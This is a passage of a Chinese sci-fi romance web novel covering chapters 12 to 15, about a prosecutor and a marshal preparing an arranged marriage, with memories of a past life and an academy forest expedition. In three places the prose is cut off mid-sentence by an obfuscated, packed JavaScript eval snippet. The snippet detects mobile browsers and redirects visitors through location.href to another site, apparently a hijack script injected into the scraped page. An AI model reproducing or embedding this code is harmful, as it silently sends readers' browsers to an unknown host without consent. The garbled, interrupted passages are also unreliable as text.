他对上季临韫的眼睛,一下竟然觉得脸有些发烫:“你叫我什么?” “阿彻。”季临韫把下巴上的手扔下去,慢条斯理地问,“我这样叫你,也恶心吗?” “你……”闻泊彻哑口无言,甚至一时有些结巴。他有点不敢看季临韫的眼眸了,转过身去,耳根发烫:“我要先开车了。” 季临韫轻笑一声。 “你不会还记得他吧?”开了一段路,闻泊彻又忍不住,问,“聊得那么开心。” “不记得。”季临韫摇了摇头,说,“但他应该是我以前熟识的朋友,和他在一起讲话很舒适。” 此时,量子车恰好驶到目的地,停在了餐厅门口。 下车前,闻泊彻一把按住了季临韫的安全带,整个人俯身靠过去:“那你想起来了什么,季检察官?” 他抬手转过季临韫的脸,逼迫他看向自己,眼里的祖母绿色滚烫:“想起来我在学院的时候,爱喝焦糖咖啡了吗?临韫。我进入军部后,就没再喝过这种咖啡了,你记性真好。” “没有。”季临韫微微一笑,说,“我不知道你爱喝什么。焦糖咖啡是这家店招牌,随便点的。” 随后,他反身一扣住闻泊彻的手,轻轻抬起,“咔嚓”一声,安全带解开。 “先下去吃饭吧。”季临韫轻轻抬头,雪白脖颈从领口露出一截。他抬起指尖,在闻泊彻胸口敲了敲,漆黑的眼眸看着他,说:“我饿了。” 闻泊彻俯视着季临韫,整个人都随着他指节的动作一阵震麻。半晌,他喉结向下剧烈一滚,拿他没办法,说:“去吃饭。” 晚上订的餐厅环境很静谧,庭院有音乐喷泉,还栽了漂亮的晚香月季,是前世两个人经常会来吃的一家私房菜。 “蟹黄豆腐、荷香米粉蒸排骨、蒜泥水晶肴肉、小四季苗……” 闻泊彻坐下,菜单一拿,就开始报菜名,服务生满脸微笑地在旁边记录。末了,他停顿了一下,抬起头问:“还缺点什么吗?临韫。” 他故意没有点他爱喝的豌豆浓汤。 上辈子结婚后,季临韫因旧伤一直体质不好,时常嗜睡,也常没什么胃口。但来这家喝豌豆汤,他却总是能喝一大碗。 季临韫没说话。闻泊彻看过去,却觉得这个人在很凶地瞪着自己。 “再加一碗豌豆浓汤。”闻泊彻微笑着朝服务生说。 他再看过去,季临韫已经瞥开了视线,没那么凶了,也不瞪自己了。 闻泊彻眼里忍不住带上笑意。 这顿饭吃到尾声,也还算愉快。但就在两个人准备回程时,闻泊彻却轻轻按住了季临韫放在餐桌上的手,不让他走。 他笑了笑,说:“临韫,我的饭不是白吃的。你就算不告诉我,狄明斯今天和你聊了什么。至少也要告诉我,那天你从研究所带走的东西。” 闻泊彻已经辗转将这件事想了好多天,今天是一定要问的。只是白天一直和季临韫在一起,他没舍得打破这么好的氛围。 卢林的检测结果上显示这只是普通的营养液,如果毫无问题,那季临韫为什么出现? 那串编号代表的,到底是这批营养液,还是原本被这批营养液替代的、其他的药剂? “你不知道是什么,”季临韫冷静地看着他,说,“它又为什么会在你的口袋里?” “我不管它是不是曾经在我口袋里,它现在都在你手上。”闻泊彻轻笑一声,说,“临韫,如果我现在向研究院举报,他们发现药剂失踪,就会查到我们两个头上。你不想我们一起被抓起来吧?” “刑事案件,抓也是在法院判。”季临韫淡声说,“我有信心进不去。而你,闻元帅,你的起诉书需要我来起草吗?” 两个人谈到那晚研究院的事情,刚刚在餐厅里温情的氛围好像顿时散去,一种微妙的对峙重新出现在空气中。 “那是检察院在查的东西,拥有最高保密等级。”季临韫看了他半晌,最终说,“我不能违反条例,如果这件事有用得上军部的地方,自然你会知情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114152|195900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 闻泊彻看着季临韫漆黑的眼眸,想,他怎么能不在乎? 这是夹在遗书里的唯一一张纸条。 上辈子,他的爱人如果真的因为这串编号身亡,他怎么可能做到在场景复现时,无动于衷? 太痛苦了,他不可能再一次见证季临韫的死亡。 “好,我知道了,最高保密等级。”闻泊彻与他对峙片刻,表面退让一步,打破了僵局。他重新笑起来,说,“算我不懂你们的规矩,季检察官。这既然是你们检察院的事情,我不会再过问。” 闻泊彻变脸变得太快,季临韫看向他,一时略带犹疑。 “那狄明斯和你说了什么?”闻泊彻抓住季临韫的手腕,可怜的绿眼睛露出来,妥协又委屈地说,“季检察官,我是你未婚夫。过问这个,你总可以跟我说了吧?” “你真的要听吗?”季临韫避开他的绿眼睛,坦言说,“在说你的坏话。” “好啊,”闻泊彻磨着牙说,“我就知道他不会跟你说什么好话。他说了什么?” “学院里的事情。”季临韫明显比刚才松懈一些。他的手挣不出来,索性只能让闻泊彻拿着玩儿,“他说你在学校里恨死我了,成天没事做就爱耍我玩。但我脾气好,从不和你计较。” 季临韫说这句话时神色淡淡,语调冷清,闻泊彻几乎不相信这是从他嘴里说出来的话。 “你自己信吗,大检察官?”闻泊彻勾了勾他的指尖,说,“我凑近你一点,你就要给我一拳。他说你脾气好,不和我计较?” “那耍我玩就是真的了。”季临韫抬了抬眉,依旧没什么表情地问,“怎么耍的?” “这确实是我的不对。”闻泊彻不知道想到什么,轻轻一笑,说,“但他都跟你说这些了,那他有没有告诉你。临韫,你那时其实很喜欢我?” “?” “你喜欢我啊。”闻泊彻亲昵而温柔地抬起他的腕,攥住手背,放在唇边吻了吻。他那双祖母绿色的眼睛向上抬起,显得深邃而深情,“所以才对我脾气好,不舍得对我发火,不是吗?” “胡说八道!”季临韫有些不可置信。他“嗖”地一下立即抽回手,反手就想给闻泊彻一巴掌,气了半天还是忍住了。 “生气什么。”闻泊彻看见他气鼓了脸,唇都抿起来了,不由笑起来,说,“我没说我不喜欢你啊,不是单恋,临韫。” “不要脸!”季临韫终于听不下去了,开口匆匆骂了闻泊彻一句,起身就往餐厅前门走去。 闻泊彻瞥见他白皙的脖颈都烧红了半截,怔愣片刻,唇角不自觉地上扬了。他还盯着看了片刻,才追上去。 “临韫,你等等!刚刚打包回去的巧克力小蛋糕还没拿!” 13. 强迫 13. 水汽氤氲,伴随着淅淅沥沥的水滴声,浴室中热气蒸腾,将透明玻璃都笼罩上一层模糊的白雾。 顷刻后,沙沙的水声逐渐停止。玻璃门被一只冷白匀称的手推开,季临韫披着一身雪白的浴袍,宽大的棉质衣袍将他精瘦流畅的身形包裹起来。他漆黑的发尾还在滴水,一出浴室,却首先注意到了放在房间里的通讯器。 他踩在房间的地毯上,不紧不慢地擦着头发,坐在上查看通讯。 才短短几个小时没看通讯,众多的消息就弹了出来。季临韫先确认了没有紧急通讯,然后开始自上而下地逐一浏览。 首先映入眼帘的,就是闻泊彻发来的十几条消息。 今天是周六,但闻泊彻显然还在军部加班,给季临韫发了在军部的晚餐和日程。他上班看上去就没那么专心,即使没什么事,隔半个小时,也要跑通讯里来戳季临韫一下。 季临韫翻着闻泊彻的消息,里面还提醒他多穿衣,不要着凉。全部浏览完时,他眼底不自觉地带了一点笑意,从头开始回复。 刚回两条,闻泊彻的语音消息又发过来了。季临韫点开,听到他不太开心的语气:“你今天晚上和狄明斯去吃饭了?卢林说他朋友在中央大街看见你们了。” 季临韫打字,实话实说:“吃了。” 闻泊彻这会儿应该是下班了,拨来了语音通讯。季临韫接起,果然又听到他控诉自己:“大检察官,你怎么能老和他一起吃饭呢?吃了什么?” “法餐。”季临韫很浅地笑了一下。他能听出来闻泊彻声音闷闷的,如果现在他在面前,他估计就又能看见闻泊彻那双委屈的绿眼睛了。 “我以为吃什么呢。”闻泊彻轻嗤一声,不屑地说,“中央大街那边能有什么好吃的法餐?还不如仲雅附近的咕噜锅好吃。” “你吃这个能吃饱吗?”他皱了皱眉,说,“你胃不好,应该吃点热乎乎的。他一点都不体谅你。” “还好。”季临韫说,“是我说要去吃的,想吃那边的蛋糕。” 闻泊彻闻言,一下就蔫声了。他半晌才说:“那你明天也休息吗?明天我找你有事情,你可得腾出一天时间给我,季检察官。” 季临韫轻笑一声,问:“什么事?” “我们就要结婚了。”闻泊彻笑起来,理所当然地说,“当然是去挑结婚要用的东西。两家联姻,季检察官不会这么不重视吧?” “什么时候?” “早上八点,我去接你。”闻泊彻说,“我给你带早餐,你可以多睡一会儿。” 季临韫觉得有些怪异,明天是休息日,完全可以稍晚出门。但他生活一向自律,也没过问,应了两声就挂断了电话。 直到翌日清晨,坐上了闻泊彻的车,他才知道自己的怪异从何而来。 “闻元帅,我的早点呢?”季临韫盯着无动于衷的闻泊彻,提醒说,“你昨天在通讯里说给我买面包,学府路那家的。” “买了,等会儿给你拿。”闻泊彻悠闲地开着车,说,“复检的时间到了,我先带你去做检查。” “什么检查?”季临韫一时觉得自己上了贼车,简直被诈骗了。他蹙起眉,说:“我记得半个月前已经复检过了。” “你的主治医生说要复检,季检察官。”闻泊彻无辜地说,“这可不是我的意思。” 季临韫冷漠地说:“我的主治医生,一直都在为你工作。” “那我不管。”闻泊彻转头去看季临韫,强势又无赖地笑起来,“季检察官既然已经上了军部的车,我还能让你什么都不做,就这样下去?” 季临韫撇过了脑袋,不理他了。 闻泊彻直接把车开到了第一军区医院。之前季临韫重伤昏迷,是在闻家的私人医院做检查,出来的检测报告各项指标都合格。但他想到上辈子奥利西斯在临死前说的话,总是放心不下,一定要来再查一次。 第一军区医院引进了全联邦最先进的医疗检测工具,包括全方位的基因筛查。闻泊彻给季临韫约了全身体检,抽完血就把给他买的黄油小面包拿了出来。他在旁边撑着脑袋,看季临韫斯文缓慢地撕面包。 “还生气?”闻泊彻看他吃着小面包,顺手也伸进了油纸袋,结果被季临韫轻抽了一下手背,赶了出来。他不由失笑,说,“干嘛呀,大检察官这么小气,面包都不舍得分我一个?” “你吃这个。”半晌,就当闻泊彻以为季临韫不理他了的时候,这人把油纸袋挪了一点过来。大检察官漂亮白皙的手,指着最旁边的一个小面包,没有感情地说:“你吃掉这个。里面混进来了一个椰蓉味的。” 闻泊彻看着他漂亮的眼睛。明明季临韫说话没什么起伏,神色也很冷淡。可他这样的举动,总让闻泊彻觉得……觉得他好像在朝自己撒娇。 “好啊。”闻泊彻说,“我够不到,季检察官帮我拿一下。” 季临韫将那个椰蓉味的小面包递到他手边。闻泊彻却不去接,而是顺势扣住了自己的手。 他微微愣神,那张俊美的脸就立即凑近,一时间呼吸都好像近在咫尺。他一时没有动,看着闻泊彻抓着他的腕,三两口吃掉了那块小面包。 “谢谢检察官。”闻泊彻眯着眼睛,愉悦地说,“小面包真好吃。” 季临韫面无表情地把手抽回来,用湿巾纸擦了擦。 他们上午来得早,军区医院的人也少,检查做得很快,也算顺利。 只是在做到最后的基因筛查时,季临韫略带迟疑,说:“这个也要查吗?” “已经约好了。” 基因筛查不是常规的检查项目,在一般的体检中往往会被忽略或拒绝。因为基因数据算是联邦公民很隐私的一项,况且,基因数据一旦泄露,往往会引发无法估量的结果。 闻泊彻以为他担心数据保密问题,于是说:“这里是军部的医院,所有医疗数据都会保密,只有本人能看见。” 但季临韫却没有动,只是说:“我不想做这项检查。” “为什么?”闻泊彻也皱起眉,说,“临韫,你当时在玛雅星的雪原中昏迷,起码在荒星辐射下暴露了二十四小时以上。虽然现在体表的各项指标正常,但基因筛查还是有必要做的。” “那颗星球的辐射不足以对现代人体造成伤害。”季临韫淡淡道,“这是科学院检测出的数据。你不要忘了,就算是最偏僻的第九星区,也在玛雅星中留有军事训练基地。” “你们体质不一样。”闻泊彻说,“临韫,我保证。你的所有基因检测数据,只有你本人能够……” “你会拿到检测报告,医生也要对基因序列进行分析。”季临韫摇了摇头,说,“闻元帅,不用自欺欺人。只要进行了这项测试,实际就没有隐私可言。” 他顿了顿,平静地抬起头,看向闻泊彻,说:“但这是军区,我已经到了你的地盘。闻元帅,如果我不想做这项检查,你会强迫我吗?” 闻泊彻看着季临韫冷静的黑色眼眸,在一瞬间忽然觉得莫名心痛。但他还是上前了一步,紧紧牵住季临韫的手,说:“我会。” “我会强迫你,临韫。” 就在两人说话的间隙,主治医生恰好拿着检查单走出来,对季临韫点头示意:“季先生,诊室里已经准备好了。我们现在过去检查吗?” 季临韫深深看了闻泊彻一眼,拿着报告单,跟主治医生朝不远处的诊室走去。 闻泊彻没有跟上。他看着厚重的金属大门在眼前合上,彻底隔绝季临韫的身影,心里忽然涌起一阵不适感。 他捂住心脏,脑海里想起上辈子在出发征战前,季临韫送他出门,好像也在用这种眼神看他。他的眼眸淡淡的,但闻泊彻却觉得他在难过。 然后,这就是他见到季临韫的最后一面,再之后就是他的葬礼。 上一辈子,季临韫举行葬礼的时候,他就这样木然地拿着他的骨灰盒,原本熠熠生辉的深绿色眼眸冷寂如死灰,行尸走肉地度过了最后几个月时光。 前世今生的记忆重叠,闻泊彻低低垂着头,脑子里一下什么都想不了,只觉得心脏痛得发闷。他不知道自己是怎么回事,感觉有些痛得喘不上气,冷汗好像也要淌下来了。 “闻泊彻?泊彻!” 听到季临韫的声音时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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季临韫漂亮修长的指尖抬起来,心里淡笑了一下,想,要是有媒体,也早在闻元帅肢解螃蟹的时候拍了几百张照片了。 吃过午饭,闻泊彻下午约了裁缝,给两个人重新测量了一下身量,好裁衣服。其实原本还要一起去看戒指和婚贴,但季临韫大病初愈,他不想他消耗太多精力,早早就把人送了回去,留在家里给他做晚餐。 季临韫在回程的途中稍微睡了一会儿。再醒来时,他已经睡在了自家的沙发上,身上还盖着一条厚毛毯。 他微微抬身,毛毯从腿部滑落一截,露出白皙精瘦的脚踝。 闻泊彻正在使用家里的开放式厨房,背后围裙扎了个粉色的小蝴蝶结,烟火和热汤咕噜噜的暖意顿时冒了出来,香气四溢。 季临韫对着这一幕发了许久的呆,直到被通讯的提示音打断,才回过神来。他看了一眼通讯消息,是狄明斯发过来的,在向他道歉。 狄明斯:抱歉,临韫,我昨天的言论可能冒犯到你了。我为你们新婚准备了礼物,什么时候我方便给你送过去吗? 季临韫看到通讯,顿时想起来,在昨天吃饭时,狄明斯谈到闻季两家的联姻,他向季临韫确认,这次婚事是不是真的政/治联姻。 季临韫当时在喝茶,闻言点了点头,说:“是。” 狄明斯得到确切的答案,眼眸一下亮了亮。他低下身,温和地注视着季临韫的眼睛,缓慢而珍重地说:“阿韫……阿韫,我是说如果。如果你不喜欢闻泊彻,我可以带你离开,我们不结这个婚。” 季临韫闻言,甚至没有皱眉,只是淡淡地看向他,说:“我们是政/治联姻。” “没关系。”狄明斯认真地看向他,说,“卡斯特洛家族会为这场失败的联姻买单,包揽军部收付殖民星的全部费用。只要你想……阿韫。” 他说完,对上季临韫冷淡的眼眸,一下又感到深深的挫败。他于是收回向前探出的手,依旧温和但苦涩地道歉说:“对不起,阿韫,我太冲动了。我比你年长几岁,却还让你看这样的笑话。” 季临韫没有说话,只是再吃了两口东西,就结束了这顿晚餐。狄明斯当时没有再说什么,时隔一天,他却再次发来了消息。 季临韫看着那条通讯,再抬头对上闻泊彻隔着厨房玻璃的带笑绿眼睛,周围全是温暖浓郁的食物香气。他一瞬间笑了一下,却在低头的时刻重新感到一阵心痛。 他回复狄明斯。 “不用送礼物。” “我想过了,即使是政/治联姻,我也不会和闻泊彻结婚的。” 14. 森林 14. 闻季两家的婚期在两个月之后。 时间略有些仓促。季临韫在下班的闲暇时间里,几乎一出检察院的门,就可以看见闻泊彻的车停在门口。这人要么是来接他吃饭,要么两个人一同去订戒指。 联姻筹备的事宜很繁琐。季临韫坐在闻泊彻的量子车时,想,上辈子,他们其实并没有这样筹备过婚礼。 近几年一直有小型暴动,军部忙得不可开交。上一世闻泊彻几乎忙得脚不沾地,其实很少确认婚礼的事项。而上一世的这时候,季临韫彻底失忆了,并且他也有检察院的诸多事情要做,对婚礼如何进行也没那么关心。 这一世,他们其实也很忙碌。但闻泊彻总是抽空来检察院,要带他一起准备两人的婚礼。 季临韫垂了垂眼。 两人一起吃了晚餐,今天去选婚贴的款式了。等稍微挑出几款后,季临韫眼睛都有些发花了。闻泊彻看着他头昏眼花,有些好笑,说:“着什么急,之后还可以慢慢挑。” 两个人走出店铺,天已经全然黑透了。橘黄色的路灯占据在道路两侧,身后是星星点点的亮灯大楼,白玉兰的淡香弥漫在冷空气中。 “冷吗?”出来时,闻泊彻停下来,顺势帮季临韫理了一下脖子上带的围巾。围巾是前两天他买的,故意买的相同的款式,一人一条。 “还好,现在还不算太冷。”季临韫就站在路灯下,雪白的围巾遮住了他的下巴尖,柔软的黑发零落埋在柔软的羊绒内。闻泊彻一转身,他就没有动了,任由这人帮自己理围巾。 季临韫没有意识到,在橘黄色的灯光下,自己的神色已经柔和了下来。光线将他脸颊旁的发丝都照得发光,冷意更衬他脸庞白皙,唇色润红。 闻泊彻理好了围巾边缘,季临韫想微微往后退半步,却忽然被捧起了脸。距离一下拉得更近,他漆黑的眼眸骤然收缩,下巴微热,已经感觉到了冬日里另一人明显的呼吸。 闻泊彻低下头,鼻尖碰到了季临韫的,带来一点痒意。季临韫显然是愣住了,没有在这个时候推开他。 “你……” 季临韫抬起眼,猛然对上那双祖母绿眼睛。 他们缓慢地对视着,距离已经近到让人头脑有些发晕了,过悸的心跳声在寂夜里显得无比明显。 季临韫终于在这一刻,无比清醒而怔愣地意识到。 他想吻我。 忽然,下巴一痛。 闻泊彻抬起拇指,在军部时戴上的白色手套还未脱去,他往下一压,粗粝的布料用力摩挲过掌下的皮肤。 “季检察官,脸好软啊。” 闻泊彻眨了眨眼,后退一步。 季临韫反应过来,冷冷地看着他,甚至想伸手抽闻泊彻一巴掌。 “干什么干什么。”季临韫快步在前面走,闻泊彻笑着从后面追过来,说,“帮你理了半天围巾,季检察官,给我捏一下下巴怎么啦?” 季临韫忽然停下脚步。 闻泊彻始料未及,鼻尖狠狠撞在了季临韫后脑上。他被砸得有些发痛,还没说话,季临韫就转过身来,冷着脸伸手拉长他的脸,凶巴巴地说:“不怎么样,闻元帅。” 闻泊彻就这样被拉着脸皮,“噗嗤”一声笑出来。 他眉眼深邃,脸庞轮廓硬挺而棱角分明,就这样被捏得变形,笑起来也依旧俊美。只是这样目光灼灼地看着季临韫,比平时少了一点不说话时的痞气,像明明好像被驯服,但又对主人势在必得的大型猫科动物。 季临韫对上闻泊彻的眼神,愣了一下,觉得确实太幼稚了。他于是松开手,头也不回地上了车。 闻泊彻开车,一路送他到了季家。临走前,他叫住季临韫:“季检察官,我有东西要给你。” 季临韫转过身,在看清楚闻泊彻手中的小盒子时,微微一愣。 盒子被闻泊彻托在手心,大概巴掌大小,黑色木质,两侧雕刻着烫金的茛苕花纹。 闻泊彻将盒子微微打开,露出里面漂亮剔透的祖母绿胸针。胸针周围是古铜色的金属,上面雕刻着花叶的镂空纹样,拿在手里质量微沉,深绿色的宝石在灯下熠熠生辉,显得尤为高贵。 “买来玩的,不算贵重。”闻泊彻笑着看向季临韫,说,“绿色衬你,检察官,别在领口好看。” 季临韫看着那枚绿色胸针,只觉得前世今生的记忆再次重叠。 前世季临韫死前,在监狱中,唯一攥在手里的就是这枚胸针。他那时候发病,在疼痛到晕厥的间隙看见胸针上的宝石,好像就看见了闻泊彻的眼睛。 直到莫名回到过去,在茫然中再次醒来时,季临韫都在下意识找这枚祖母绿胸针。 这枚祖母绿宝石胸针,当然不是闻泊彻随意买来的。这是闻泊彻家族信物,更是他母亲用于传承的遗物。 但这其实不是季临韫第一次见到兰特斯特的家族胸针。 更早一些的时候,在学院里,他和闻泊彻其实都因为这枚胸针挨过罚。 那是在赫拉克勒斯学院的第一个暑期实训课,领课教授将仲雅一年级的学生全部带到了泰洛斯星。 这是一颗富含森林矿产的星球,在学期末的实践周,他们要在泰洛斯星上完成部分体能训练课程。 剩下的几天学生可以自由采集森林标本和矿石,有教授宝石课程的老师会指导他们做成工艺品带回去。 学院每年的实训课都很有趣味,晚间还会举行晚会游戏。大家对暑期实训都期待了很久,一群刚成年的学生兴致勃勃得像是要去春游。 “临韫,临韫!” 傍晚时分,日轮刚刚没入阔大的森林里,露出一大片靛蓝色的天空,黑白相间的飞鸟成群地从阔叶群中穿梭而过。夏日晚间的空气清爽而干燥,学生们刚刚结束白天的训练与课程,都回去换了一身舒适的便衣,准备去点起来的篝火旁烤肉。 季临韫回过头,看见小惟和埃里克在不远处朝他招手。 “刚刚去哪里啦?找你半天找不到。”小惟扑上来,笑盈盈地朝他撒娇说,“临韫,白天讲理论的时候,说到安装在手臂上的受力的装置,为什么你用起来就这么有力量感呢?你多教教我好不好?” “好啊。”季临韫应声,去不远处的营地取了装置,专心和小惟讲用法。他讲着讲着,就被埃里克半推着带到了篝火旁边。 埃里克十分反对这种下课还学习的行为,但是看见两人讲得兴致勃勃,只得无奈地自己去取了食材。他坐在旁边听他们讨论,看着滋滋冒油的食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114154|195900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物,一人往嘴里塞了一块烤肉。 “唔?”刚刚还在说话的两人被堵住了嘴,齐齐睁大了眼睛。小惟眼睛滴溜溜的,和只灵动的松鼠一样,鼓着腮帮子嚼嚼。 “不许说了。”埃里克生怕他俩吃不饱,得意洋洋地说,“在你们说话的时候,我已经偷偷烤好了一盘烤肉,你们必须吃完。” “已经说完了。”季临韫轻轻笑了一下,说,“很好吃。下一批我来吧,小惟去休息,埃里克需要在旁边指导一下。” “我来指导小检察官?”埃里克笑起来,吃了两口东西,又问,“对了,临韫,等会儿吃完饭他们好像有游戏,你去不去玩?” “你们去吧。”季临韫略显生涩地烤着食物,偷偷把烤焦的那面翻下去,说,“我还有些事情。” “临韫去不了。”小惟还在费力地嚼,半晌咽下了才说,“他是学生会成员,一会儿要去森林边缘巡察呢。” “晚上那边都封上警戒线了。”埃里克说,“我们白天还在那边训练呢,一到傍晚就不让进了。” “晚上森林里不安全。”季临韫看了两人一眼,正色说,“泰洛斯星的林区里面,晚上可能存在一种昼伏夜出的危险兽类,警戒线内的区域都不能进去。” “我们才不会去呢。”小惟说,“白天累死了,晚上我要好好睡个美容觉。临韫,你巡察的时候也要小心一些哦,那边离营地还蛮远的呢。” “会的。”季临韫将烤熟的食物递给两人。 篝火在旁边烧得噼啪作响,几点火星蹦出来,将夜色都染成橘红,学生营地里都是热闹而欢快的氛围。 季临韫听着两位室友说着话,眼眸不经意间朝另外班级的区域看去。他一眼就看见闻泊彻撑着脑袋翘着腿坐在那里,没个正形似的拿着串烤肉,笑着和身边的朋友打闹。 他淡淡收回了视线。 吃过晚餐,季临韫就和其他学生会成员一同去警戒线周围巡察了。巡察进行得很顺利,没有异常的情况,几个人收了工,就正常回营地洗漱睡觉了。 此时,夜色也变得更加浓稠黑沉。 季临韫已经要睡下了,模模糊糊间却忽然惊起。因为他想起来,警戒线的位置在下午发生过变化。可能是夜晚的路不好分辨,他们在巡察的时候竟然都忽略了那一边。 两个室友还在身旁呼呼大睡,季临韫意识到这一点后,立即拿上了小夜灯,轻手轻脚地离开了帐篷。 已经是深夜了,他没有选择叫醒其他同伴,独自一人前往森林边缘。 就在快到达那片被遗漏的区域时,季临韫忽然看见,那片发着橙白色荧光的警戒线似乎剧烈晃动了一瞬。 季临韫顿时心生警惕,同时身旁一阵劲风袭来。他觉察有人,迅速抽身回击,用铁质的夜灯灯身往后狠狠一砸。 季临韫听到身后的人发出一声明显的闷哼,随后肩膀传来一阵巨力,几乎要将人掀翻。他抬腿就是一脚踹过去,手肘发力同时制住那人双臂,堪堪稳住身形。 才刚站稳,季临韫甚至还没来得及出手,就猛然在微弱灯光下,对上了一双熟悉的绿色眼眸。随后,他腰腹被手掌用力摁住,耳畔传来一阵带着热意的震音:“别动,小检察官。” 是闻泊彻。 15. 毒蛇 15. 季临韫被人从后面扣住肩膀,那只略微粗糙的手掌往后猛地一带,他腰间一麻,脊背狠狠撞上了身后温热结实的胸膛。 “打人下手这么狠?” 闻泊彻比季临韫稍高半个头,常年训练的体型也要比他夸大一些,几乎从身后将人围在了怀里。 他从后面制住季临韫的手肘,凑过去给他看手臂上青紫的一块:“季同学,打得我好痛。” “你怎么在这?”季临韫不喜欢这样的姿势,呼吸间都好像是闻泊彻的气息。他冷冷地问,“别动手动脚。深更半夜,你要谋害同学?” “我还没问你呢,季同学恶人先告状啊?”闻泊彻觉得有趣,“深更半夜,你跑到这里来才是别有目的吧。” “这是学生组织的管辖范围。”季临韫在这个怪异的姿势里转过头,说,“所以我来确认是否有异常。还有,闻泊彻,手从我腰上拿下去,我不喜欢别人碰到我。” “我才不要。” 季临韫说完,腰间的那只手掌却用力朝里一收,闻泊彻一瞬间与他贴得更近。隔着一层单薄的白衬衫,他能明显感觉到那双手掌的粗糙和滚烫,磨得他很不舒服。 “闻泊彻!”季临韫脚下一软,整个人有些发颤。 “季同学。”闻泊彻好像发现了他的弱点似的,就这样掐着季临韫的腰笑起来,说,“半夜三更,你平时和我这样不对付。我就是把你谋害了丢这里,都要明天才能有人发现。” “我也巴不得把你埋这里。”季临韫冷笑一声,骤然发力抬腿,狠狠往闻泊彻脚背上一踩。 他在力道略微松懈的片刻弯腰反踹,灵活地矮身脱离桎梏,一瞬间和这人拉开了距离。 小夜灯已经被打翻在一侧,咕噜噜滚进草地里。 季临韫没时间和他废话,眉眼冷下来,说:“我不想大晚上和你在这里打架。没看见警戒线吗,你来做什么?” “我睡不着,”闻泊彻在黑暗中注视着他,怀里还残留着这人的温度。他拢了拢手指,随意地答道:“半夜起来走走,不知不觉就走到这边了。” 季临韫明显不信他的瞎话,眉间一蹙,说:“闻泊彻,我没有和你开玩笑的意思。你再这样,我只能通知带教老师过来了。” “哦。”闻泊彻笑了笑,说,“那季同学,你看看你的通讯器现在在哪里?” 季临韫放在腰间的手摸了个空,顿时明白刚刚闻泊彻在他腰上摸什么。他一时有些愠怒,说:“我不管你过来做什么,这边很危险,现在和我回去。” “知道危险就自己回去。”闻泊彻盯着他,一贯的笑意也淡了些,“我来这里找东西,本来就不管你的事情,季临韫。” “在警戒线里?”季临韫冷冷朝警戒线里瞥了一眼,里面是深不见底的黑暗。他神色严肃,说,“我不会让你进去。” “你没有通讯器,就算现在赶回去通知教授们,也起码要十五分钟。”闻泊彻无所谓似的笑了笑,说,“何必呢季同学,我也和你说了,我不是在干什么危害公共安全的事情。你就当今晚没见过我,回去睡觉算了。” “我当没见过你?”季临韫上前一步,伸手就想揪住他的衣领,“那我们就耗在这里,谁也动不了,等着明天教授们过来解决。” “季同学,别找我打架。”闻泊彻后退一步躲开,皱了皱眉,警告说,“我们刚刚动静已经不小了。你也知道晚上不安全,如果引来什么东西,才是真正危害公共安全。” 他看着季临韫,半晌才软下一点态度,认真说:“季同学,我是真的丢了东西。森林里情况复杂,明天我怕找不到了。” 夜晚动静太大确实不安全。季临韫盯着他的眼睛,确认闻泊彻神色不似作伪,语气才缓和了一些,问:“丢了什么?” “我母亲的遗物。”闻泊彻沉默半晌,说,“也是兰特斯特家族的信物,我一直随身带着,是很重要的东西。” 他收起了一贯的漫不经心,绿色眼眸直直看着季临韫:“如果你一定要找我打架,那我就只能耗到你没力气了,再自己进去。” 季临韫一愣。 两人僵持片刻,季临韫终于皱着眉问:“丢的东西什么样子?” 闻泊彻在黑暗中一直保持警惕,这会儿看季临韫走近,以为他又要给自己一拳,顿时起手。他手掌落空一瞬,随后看见季临韫弯腰捡起了旁边的提灯。 “能说清楚外形吗?”季临韫拎着灯,橘黄色的光芒一下打在他的侧发上。 他没发现闻泊彻刚刚想对自己动手,见这人半天没动静,皱眉重复说,“我和你一起找。” “你说什么?”闻泊彻闻言,实实在在愣了片刻,悻悻又偷偷地收回了落在半空的手,“你要和我一起找?” “你不是今晚一定要去找吗?”季临韫冷冷地把灯丢给他,说,“拎着,带路。” 灯光摇晃,闻泊彻抬手接住古铜色的灯架,还有些没反应过来。 直到两人都翻过了那条警戒线,他才有些神色复杂的开口,说:“季同学,你知道这是违纪的吗?” “你也在乎违纪?”季临韫走在他身侧,两人的中间夹着那盏玻璃灯,“这么重要的东西,我不想等体力耗光了再来追你。” “里面可能很危险。”闻泊彻在夜色下看不清他的神色,半晌才低声说,“季同学,我说了让你回去睡觉。” “如果你一定要找。”季临韫看向他,眼眸被灯光映得发亮。他面色却淡淡,说:“作为学生组织的成员,我有义务保护你安全出来。” 闻泊彻还从来没有从同龄人的口中,听过别人说要保护自己。他觉得很新奇,轻笑出声,说:“小检察官,是从小就要保护所有人吗?” “学院不让你进入警戒区是在保护你,”季临韫看了他一眼,“我和你一起找东西也是为了保护你。” “灯提稳一点,不然就给我。”他淡淡地说,“学生组织的存在,就是为学生服务。如果我以后真的做了检察官,为联邦公民解决问题也是我的责任。但不论如何,我认为所有法律和规则的制定,最终目的都是保护所有公民的权利与安全。” “那些人里,”闻泊彻意识到,季临韫似乎真的在认真回答自己的问题。一时间,他忽然鬼使神差地问,“也包括我吗?” 